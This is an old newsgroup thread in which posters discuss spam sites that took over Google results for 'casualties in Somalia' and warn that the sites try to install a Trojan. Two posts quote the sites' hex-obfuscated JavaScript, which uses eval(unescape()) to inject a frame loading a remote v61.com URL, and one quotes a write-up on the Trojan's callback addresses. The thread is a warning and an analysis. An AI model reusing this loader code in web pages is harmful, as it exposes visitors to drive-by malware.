Casualties in Somalia

Do a search for the above in Google.

Geeze, Somalia must have a LOT of on-line pharmacies.

Good place to learn about how to spam G.

Regards,

John Merrell
Gateway Farm Alpacas
http://www.gateway-alpacas.com

"Gateway Farm" <johnwmerrell (AT) earthlink (DOT) net> wrote

Do a search for the above in Google.

Geeze, Somalia must have a LOT of on-line pharmacies.

Not only that the 1st site will try to infect your computer with a Trojan
Horse! I didn't look any further. Just wanted to warn people before they go
and look!

Good place to learn about how to spam G.

Only if you want to get your computer infected.

Regards,

John Merrell
Gateway Farm Alpacas
http://www.gateway-alpacas.com

Going to an .ru site without a hardware and software firewall, an
with js on would be kind of silly now, wouldn't it? Especially if on
is using IE

Anyway, they have approximately the top 75 slots for that SERP.
Pretty incredible. Not a cached page in the lot of them either

Almost as good for us casualties in somalia

So, why did they target that SERP? And how is it that they dominat
it so completely

Anyone look at the js and try to figure what they are doing there
This is pretty suspicious

va
str="%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28 %27%3C%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%7 0%3A%2F%2F%77%77%77%2E%76%36%31%2E%63%6F%6D%2F%63% 67%69%2D%62%69%6E%2F%76%32%2F%63%6F%75%6E%74%65%72 %2F%70%72%6F%63%3F%61%72%61%6C%65%6C%22%3E%27%29%3 B%77%69%6E%64%6F%77%2E%73%74%61%74%75%73%3D%27%4F% 70%65%6E%69%6E%67%20%70%61%67%65%20%27%2B%77%69%6E %64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2B%27%2E%2E%2 E%27%3B%20%2F%2F%3A%2D%29"
eval(unescape(str))

Just thought this might make for some good discussion her

J
-----------------------------
Posted via http://www.searchguild.com/

"willybfriendly" <johnwmerrell (AT) earthlink-dot-net (DOT) no-spam.invalid> wrote in
message news:1102620138.aee0e9e58de7e679fc9ffa18e535710f (AT) teranews (DOT) ..

Going to an .ru site without a hardware and software firewall, and
with js on would be kind of silly now, wouldn't it? Especially if one
is using IE.

And one is suppose to know not to go to a .ru site? I have protection
though, but not everyone has and not everyone knows not to go to those
sites.

Anyway, they have approximately the top 75 slots for that SERP.
Pretty incredible. Not a cached page in the lot of them either.

Almost as good for us casualties in somalia.

And how many people would be searching for this anyway? They can have the
SERP.

So, why did they target that SERP? And how is it that they dominate
it so completely?

Don't know, it seems kind of stupid if you ask me, because who would be
searching for that phrase anyway?

Anyone look at the js and try to figure what they are doing there?
This is pretty suspicious:

<snip>

I would think they are trying to load up some adware also.

willybfriendly wrote:

Going to an .ru site without a hardware and software firewall, and
with js on would be kind of silly now, wouldn't it? Especially if one
is using IE.

Anyway, they have approximately the top 75 slots for that SERP.
Pretty incredible. Not a cached page in the lot of them either.

Almost as good for us casualties in somalia.

So, why did they target that SERP? And how is it that they dominate
it so completely?

Anyone look at the js and try to figure what they are doing there?
This is pretty suspicious:

var
str="%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28 %27%3C%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%7 0%3A%2F%2F%77%77%77%2E%76%36%31%2E%63%6F%6D%2F%63% 67%69%2D%62%69%6E%2F%76%32%2F%63%6F%75%6E%74%65%72 %2F%70%72%6F%63%3F%61%72%61%6C%65%6C%22%3E%27%29%3 B%77%69%6E%64%6F%77%2E%73%74%61%74%75%73%3D%27%4F% 70%65%6E%69%6E%67%20%70%61%67%65%20%27%2B%77%69%6E %64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2B%27%2E%2E%2 E%27%3B%20%2F%2F%3A%2D%29";
eval(unescape(str));

The string translates to:

document.write'framesrc="http://www.v61.com/cgi-bin/v2/counter


Regards,
Brent

Interesting. Just a bit of poking around finds thi

"Note: The trojan has the abillity to update itself; the fil
extensions of the DLLs change from .dll to .new when updated

"At different stages of system infection, the Trojan contacts th
following site, presumably to notify interested parties of it
presence
ht*p://www.v61.com/cgi-bin/v2/*******/eex
ht*p://www.v61.com/cgi-bin/v2/*******/ecn
ht*p://www.v61.com/cgi-bin/v2/*******/erun

No wonder it's in hex. (I deactivated the links

Anyone bothered to figure out what Google sees? Y gets this SER
right. G is thrown for a loop

JM[/b
-----------------------------
Posted via http://www.searchguild.com/

Stacey wrote:

"willybfriendly" <johnwmerrell (AT) earthlink-dot-net (DOT) no-spam.invalid
wrote

Anyway, they have approximately the top 75 slots for that SERP.
Pretty incredible. Not a cached page in the lot of them either.

Almost as good for us casualties in somalia.

And how many people would be searching for this anyway? They can
have the SERP.

So, why did they target that SERP? And how is it that they
dominate it so completely?

Don't know, it seems kind of stupid if you ask me, because who
searching for that phrase anyway?

It is history now, not current events, but the US did have
troops in Somalia,and some were indeed wounded and killed,
so the search prhases "US casualties in Somalia" or
"casualties in Somalia" would be natural query strings for
anyone researching the topic -- say, for instance, a student
writing a brief paper on the subject for a political science
class, perhaps comparing the US presence in Somalia with the
US presences in Viet Nam, Haiti, or Iraq.

cat yronwode

Hoodoo Herb and Root Magic
http://www.luckymojo.com/hoodooherbmagic.html

"catherine yronwode" <cat (AT) luckymojo (DOT) com> wrote

Stacey wrote:

"willybfriendly" <johnwmerrell (AT) earthlink-dot-net (DOT) no-spam.invalid
wrote

Anyway, they have approximately the top 75 slots for that SERP.
Pretty incredible. Not a cached page in the lot of them either.

Almost as good for us casualties in somalia.

And how many people would be searching for this anyway? They can
have the SERP.

So, why did they target that SERP? And how is it that they
dominate it so completely?

Don't know, it seems kind of stupid if you ask me, because who
searching for that phrase anyway?

It is history now, not current events, but the US did have
troops in Somalia,and some were indeed wounded and killed,
so the search prhases "US casualties in Somalia" or
"casualties in Somalia" would be natural query strings for
anyone researching the topic -- say, for instance, a student
writing a brief paper on the subject for a political science
class, perhaps comparing the US presence in Somalia with the
US presences in Viet Nam, Haiti, or Iraq.

True, on rare occasions someone doing a paper. But, to hijack a SERP to for
pharmacy it isn't very smart as it wouldn't be a widely used SERP was what I
am saying. It would make more sense taking a different SERP. Plus, someone
doing a paper to me, would probably search for US in Somalia, or Military
Actions in Somalia, Conflicts in Somalia, etc.

"Stacey" <stacey (AT) staceyssimplestuff (DOT) com> wrote

True, on rare occasions someone doing a paper. But, to hijack a SERP to
for pharmacy it isn't very smart as it wouldn't be a widely used SERP was
what I am saying. It would make more sense taking a different SERP. Plus,
someone doing a paper to me, would probably search for US in Somalia, or
Military Actions in Somalia, Conflicts in Somalia, etc.

True enough. But, there they sit with the top 74 spots. Yahoo gets it
right. G doesn't. How did they do it? Can it be replicated? What does it
say about the G algo?

Answer those questions right and you can retire in 6 months.

JM

On Thu, 9 Dec 2004 23:15:59 -0800, "Gateway Farm"
<johnwmerrell (AT) earthlink (DOT) net> wrote:

"Stacey" <stacey (AT) staceyssimplestuff (DOT) com> wrote in message
news:ic7ud.809$Jk5.7 (AT) lakeread01 (DOT) ..




True, on rare occasions someone doing a paper. But, to hijack a SERP to
for pharmacy it isn't very smart as it wouldn't be a widely used SERP was
what I am saying. It would make more sense taking a different SERP. Plus,
someone doing a paper to me, would probably search for US in Somalia, or
Military Actions in Somalia, Conflicts in Somalia, etc.


True enough. But, there they sit with the top 74 spots. Yahoo gets it
right. G doesn't. How did they do it? Can it be replicated? What does it
say about the G algo?

It leaves much to be desired.

BB

Answer those questions right and you can retire in 6 months.

JM

--
www.kruse.co.uk SEO (AT) kruse (DOT) demon.co.uk
home of SEO that's shiny!
--